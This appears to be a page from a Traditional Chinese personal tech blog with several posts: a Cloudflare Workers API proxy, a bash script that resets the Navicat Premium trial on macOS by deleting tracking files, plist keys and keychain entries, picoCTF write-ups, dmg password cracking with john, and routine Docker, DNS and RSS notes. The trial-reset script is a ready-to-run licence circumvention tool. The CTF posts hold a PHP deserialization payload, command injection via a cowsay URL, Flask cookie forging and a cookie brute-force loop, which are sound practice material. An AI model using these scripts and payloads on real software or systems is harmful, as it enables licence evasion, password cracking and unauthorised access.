    base_url="https://your-worker.workers.dev/v1",
    api_key="YOUR_1MIN_API_KEY",
)

response = client.chat.completions.create(
    model="gpt-4o",
    messages=[{"role": "user", "content": "Hello!"}],
)

Streaming 也完全支援：

curl -X POST https://your-worker.workers.dev/v1/chat/completions \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -d '{
    "model": "gpt-4o",
    "messages": [{"role": "user", "content": "Tell me a story"}],
    "stream": true
  }'

Rate Limiting

內建分散式限流，靠 Cloudflare KV 在所有 Worker 實例之間同步：

每 IP 每分鐘 60 次請求
每 IP 每分鐘 10,000 tokens

超過會回 HTTP 429，附上 Rate Limit headers。

技術細節

整個服務 TypeScript 寫的，跑在 Cloudflare Workers 上，限流和模型快取放 KV，token 計算用 gpt-tokenizer。Cloudflare 免費方案就夠用，延遲低，也不用自己顧伺服器。

專案原始碼：GitHub

Reset navicat trial

2024-05-16T03:11:27+08:00

Reset the Navicat trial time on Mac.

#!/bin/bash
set -uo pipefail

# ==========================================
# 變數定義 / Variables Definition
# ==========================================
readonly APP_NAME="Navicat Premium"
readonly APP_SUPPORT_DIR="$HOME/Library/Application Support/PremiumSoft CyberTech/Navicat CC/Navicat Premium"
readonly PLIST_FILE="$HOME/Library/Preferences/com.navicat.NavicatPremium.plist"
readonly KEYCHAIN_SERVICE="com.navicat.NavicatPremium"
readonly HASH_REGEX="^[0-9A-F]{32}$"

# ==========================================
# 日誌函式 / Logging Functions
# ==========================================
log_info()    { echo -e "[\033[34mINFO\033[0m] $1"; }
log_success() { echo -e "[\033[32mSUCCESS\033[0m] $1"; }
log_warn()    { echo -e "[\033[33mWARN\033[0m] $1"; }

# ==========================================
# 功能函式 / Functional Modules
# ==========================================

# 1. 終止應用程式 / Terminate Application
terminate_app() {
    log_info "正在檢查並終止 $APP_NAME 程序... / Checking and terminating $APP_NAME process..."
    if pkill -9 "$APP_NAME" 2>/dev/null; then
        log_success "已成功終止正在執行的 $APP_NAME 程序。/ Successfully terminated running process."
    else
        log_info "$APP_NAME 程序未在執行。/ Process is not running."
    fi
}

# 2. 清理應用程式支援目錄的雜湊檔案 / Clean hash files in App Support
clean_support_files() {
    log_info "清理應用程式支援目錄的雜湊檔案... / Cleaning hash files in app support directory..."
    
    if [[ ! -d "$APP_SUPPORT_DIR" ]]; then
        log_warn "目錄不存在，跳過: $APP_SUPPORT_DIR / Directory not found, skipping."
        return
    fi

    local deleted_count=0
    while IFS= read -r file; do
        local filename
        filename=$(basename "$file")
        # 匹配以 . 開頭且後面跟著 32 位大寫十六進位字元的檔案
        if echo "${filename#.}" | grep -Eq "$HASH_REGEX"; then
            rm -f "$file"
            log_info "已刪除雜湊檔案: $filename / Deleted hash file: $filename"
            ((deleted_count++))
        fi
    done < <(find "$APP_SUPPORT_DIR" -maxdepth 1 -type f -name '.[0-9A-F]*' 2>/dev/null)

    log_success "應用程式支援目錄清理完成，共刪除 $deleted_count 個檔案。/ Cleaned $deleted_count files."
}

# 3. 處理偏好設定檔案 / Clean preferences plist file
clean_plist_keys() {
    log_info "處理偏好設定檔案... / Processing preferences plist file..."
    
    if [[ ! -f "$PLIST_FILE" ]]; then
        log_warn "偏好設定檔案不存在: $PLIST_FILE / Plist file not found."
        return
    fi

    # 獲取所有符合 32 位元雜湊格式的頂層鍵值
    local keys_to_delete
    keys_to_delete=$(/usr/libexec/PlistBuddy -c "Print" "$PLIST_FILE" 2>/dev/null | grep -Eoa "^\s{4}[0-9A-F]{32}" | tr -d ' ' || true)

    if [[ -z "$keys_to_delete" ]]; then
        log_info "未找到需要刪除的 32 位元雜湊鍵值。/ No 32-character hash keys found."
        return
    fi

    local deleted_count=0
    while IFS= read -r key; do
        if /usr/libexec/PlistBuddy -c "Delete :$key" "$PLIST_FILE" 2>/dev/null; then
            log_info "已刪除 Plist 鍵值: $key / Deleted Plist key: $key"
            ((deleted_count++))
        fi
    done <<< "$keys_to_delete"

    log_success "偏好設定清理完成，共刪除 $deleted_count 個鍵值。/ Cleaned $deleted_count keys."
}

# 4. 清理鑰匙圈中的試用期追蹤項目 / Clean Keychain entries
clean_keychain() {
    log_info "清理鑰匙圈中的試用期追蹤項目... / Cleaning trial tracking entries in Keychain..."
    
    local keychain_accounts
    keychain_accounts=$(security dump-keychain ~/Library/Keychains/login.keychain-db 2>/dev/null | \
        awk '/0x00000007.*'"$KEYCHAIN_SERVICE"'/{found=1} found && /"acct"/{print; found=0}' | \
        sed 's/.*<blob>="\([^"]*\)".*/\1/')

    if [[ -z "$keychain_accounts" ]]; then
        log_info "未找到需要刪除的鑰匙圈項目。/ No keychain entries found."
        return
    fi

    local deleted_count=0
    while IFS= read -r account; do
        if echo "$account" | grep -Eq "$HASH_REGEX"; then
            if security delete-generic-password -s "$KEYCHAIN_SERVICE" -a "$account" >/dev/null 2>&1; then
                log_info "已刪除鑰匙圈項目: $account / Deleted keychain entry: $account"
                ((deleted_count++))
            fi
        fi
    done <<< "$keychain_accounts"

    log_success "鑰匙圈清理完成，共刪除 $deleted_count 個項目。/ Deleted $deleted_count keychain entries."
}

# ==========================================
# 主程式執行 / Main Execution
# ==========================================
main() {
    echo "=================================================="
    echo "  Navicat Premium 重設腳本 / Reset Script"
    echo "=================================================="
    
    terminate_app
    clean_support_files
    clean_plist_keys
    clean_keychain
    
    echo "=================================================="
    log_success "所有清理任務已完成！/ All cleaning tasks completed!"
}

# 執行主程式
main

picoCTF - Super Serial

2022-01-18T03:11:27+08:00

先檢查 robots.txt 發現有 Disallow: /admin.phps 接下來就檢查 /index.phps ，可以看到 Source Code，接下檢查發現他引用了兩隻 php authentication.php cookie.php

一樣先檢查他們的 Source code，會發現有一隻從 Cookie 可以反序列化的函式

以下是 payload，將得到的 Token 塞進 Cookie 就拿到 Flag。

<?php
class access_log {
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));
?>

picoCTF - caas

2021-07-03T23:11:27+08:00

https://picoctf/cowsay/{message}

蠻簡單的一題，一隻牛會說出您輸入的訊息。這題有提供 index.js，不過我沒注意到就直接解了。

首先思維要猜 Flag 在哪，從牛會講話的模式來看， Flag 應該是一個檔案，要藉由牛的嘴巴說出來。

`ls`

會看到這個目錄的資料夾，然後會看到 flag 的檔案，還故意拼錯檔名。

`cat falg.txt`

Flag 就到手了，有興趣可以看一下他們的題目應該都是用 Docker 包裝，是不是可以 container escape attack 好像可以研究看看！

picoCTF - More Cookies 150 points

2021-07-03T03:11:27+08:00

Cookies 的進階題，還有一個同名版本是 2021 年的 More Cookies 90 points 但那題感覺難上很多。

這次作者有提供 server 的 source code ，簡單來說就是直接 Open Book，他使用了一套叫做 Flask 的 Web framework。

服務啟動會隨機挑選餅乾名當作 Secret key，當使用 Session 時，去產生出加密後的 Cookies。

所以我們先照慣例，直接搜尋 snickerdoodle，從開發者模式取得 Cookie，原本想自己照他的模式，寫類似的 python 來跑，不過從 Google 發現這個有人已經寫出加解密套件。

GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

cookies=(a b c)

for i in "${cookies[@]}"; do echo "$i"; python ./flask_session_cookie_manager3.py decode -s "$i" -c [cookies]; done

順利的話會找到對應的 Secret key，也可以稍微看一下解密出來的明文的樣子，再把內文改成 admin，再用 Key 拿去加密，組成 Cookies 回寫瀏覽器就解了。

picoCTF - Cookies

2021-07-01T20:09:27+08:00

這一題標題就非常明示的，這是跟 Cookies 有關係。打開網址首先會看到一個輸入框跟搜尋按鈕，輸入框裡還有 placeholder 寫著 snickerdoodle。直接輸入 snickerdoodle

會出現 I love snickerdoodle cookies!

打開瀏覽器開發工具，找出 Cookies 會發現寫了一筆 name = 0 的 Cookie ，以此類推，可能會有 1, 2, 3... 的 cookies。

接下來 curl 是工程師的好朋友，寫一隻 Shell Script。因為 Flag 有某些特徵，所以我用 Grep 去過濾掉不要的資訊。

#!/bin/bash

set -B
for i in {0..28}; do
  curl -v --silent 'http://picoctf/check' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://picoctf/check' -H 'Cookie: name='$i -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' 2>&1 | grep pico
done

這題分數雖然不高，其實也真的不難，但寫 Shell Script 蠻有趣的。

自行升級 Docker

2021-06-27T20:09:27+08:00

最近遇到一個 Bug，實際追下去後才發現是 AWS 提供的 Docker 版本不是最新的。Docker 網站有提供編譯好的執行檔，可以直接下載覆蓋原有執行檔，之後套件更新也會一併升上去。

$ wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz
$ tar zxvf docker-20.10.7.tgz
$ sudo cp docker-20.10.7/docker /usr/bin/docker

暴力破解加密的 dmg

2021-06-19T20:09:27+08:00

首先先安裝 john-jumbo

$ brew install john-jumbo

先產生 hashes，注意程式版本是否不同

$ /usr/local/Cellar/john-jumbo/1.9.0/share/john/dmg2john target.dmg > target.dmg.hash

開始暴力破解

$ john target.dmg.hash

如果明確知道密碼組成，可以使用 --mask

$ john --mask="[0-9a-z][0-9a-z][0-9a-z]" target.dmg.hash

如果要多開 processes，可以使用 --fork，最高不要超過 CPU Core 數

$ john --fork=8 target.dmg.hash

DNS Override in DHCP Mode

2018-11-06T00:37:27+08:00

原因是 Vultr DNS 會不定期爛掉，一個新的 instance 預設是 DHCP。發 Ticket 去問客服，他會教你如何採用固定 IP 配置。不過如果不想跟客服周旋，可以自己 Override DNS 設定。

$ cat /etc/network/interfaces # 確認 interface

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

#source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

allow-hotplug ens3
iface ens3 inet dhcp
iface ens3 inet6 auto

$ vi /etc/dhcp/dhclient.conf # 修改 DHCP 設定

interface "ens3" {
    supersede domain-name-servers 1.1.1.1, 1.0.0.1;
}

$ reboot && cat /etc/resolv.conf

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 2001:19f0:300:1704::6
nameserver 1.1.1.1
nameserver 1.0.0.1

Miniflux 自建 RSS 閱讀器服務

2018-11-04T13:52:07+08:00

在 Google Reader 收攤後，我後來嘗試了不少的 RSS 閱讀器服務，Feedly 、Flipboard 和 Feedspot。嚴格來說 Flipboard 不算是 RSS 閱讀器，比較像是社群內容雜誌，但不可否認的它是個好 APP，以前甚至為了 Flipboard 買 iPad。Feedspot 感覺介面很像 Google Reader，又有計劃推出 iOS APP，中間有推出終生 Gold 方案，我也購買了。Gold 只差在通知，可以自訂時間區間而已，真的蠻雞肋的，有些 Bug 回報，官方似乎沒在維護，iOS APP. 也難產，讓我一直有想出走的想法，爾後又接觸到 Tiny Tiny RSS、FreshRSS 和 Miniflux。

最近 Reeder 因為計畫出新版，將舊版限時免費，注意到來源設定裡面有一個自建服務叫做 Fever，上網查看後發現，原來作者已經停止維護了，真的是晴天霹靂。不過有網友幫 Tiny Tiny RSS，額外寫支援 Fever Plugin，不過我一直對 TTRSS 的早期介面有點卻步，好像沒在更新，加上額外加入 Plugin 方式，有可能造成不相容的問題。

然後 FreshRSS 有內建 Fever API，可是嘗試架設後，FreshRSS 對 RSS 的標準十分嚴格，無法通過 RSS 標準驗證的，就無法加入，速度上有點緩慢，可能跟架構是 PHP + Apache 有關。

最後發現了 Miniflux，GO 語言撰寫出來的，容量很小內建 Web Server，內建 Fever API，對 RSS 沒這麼挑嘴，反應也快的沒話說。作者對簡潔似乎有點偏執，不過剛好我也喜歡這樣的偏執，十分推薦使用。